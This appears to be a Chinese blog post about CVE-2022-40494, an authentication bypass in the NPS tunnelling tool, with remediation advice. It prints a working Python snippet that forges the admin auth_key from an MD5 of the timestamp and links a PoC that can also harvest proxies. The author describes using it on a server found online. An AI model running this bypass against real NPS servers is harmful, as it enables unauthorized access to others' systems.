NPS,不仅能打洞穿透,而且还有大洞。

我无意间在网上发现了一个NPS Web服务,于是好奇的搜索了一下这个程序的漏洞,并且成功的利用Poc脚本进入了后台,在博客里记录一下这个漏洞。


0x00:漏洞代号
CVE-2022-40494


0x01:Poc工具
https://github.com/carr0t2/nps-auth-bypass
使用此工具可在浏览器访问Web控制端后台页面,或者批量获取Socks5和Http代理。


0x02:后台权限绕过
如果条件符合,只要把时间戳进行MD5编码即可进行绕过。

import time
import hashlib

now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()

print("Index/Index?auth_key=%s&timestamp=%s" % (auth_key,int(now)))

将打印出来的Path直接在浏览器中用Nps Web链接+Path即可实现
例如:"http://127.0.0.1:8080/Index/Index?auth_key=xxxxx×tamp=xxxxx"


0x03:修复建议
漏洞原因在于auth_key被注释或为空或auth_crypt_key为默认值1234567812345678。
但据说特殊条件下仍可复现,所以不建议继续使用这个程序,建议直接使用Frp服务进行转发。


0x04:参考文献
GitHub-NPS项目
FreeBuf-NPS未授权访问漏洞详解
PeiQi文库-NPS auth_key 未授权访问漏洞


感谢您的浏览,愿我国网络更加安全。

最后修改:2024 年 06 月 29 日

如果觉得我的文章对你有用,请给我发电 o((>ω< ))o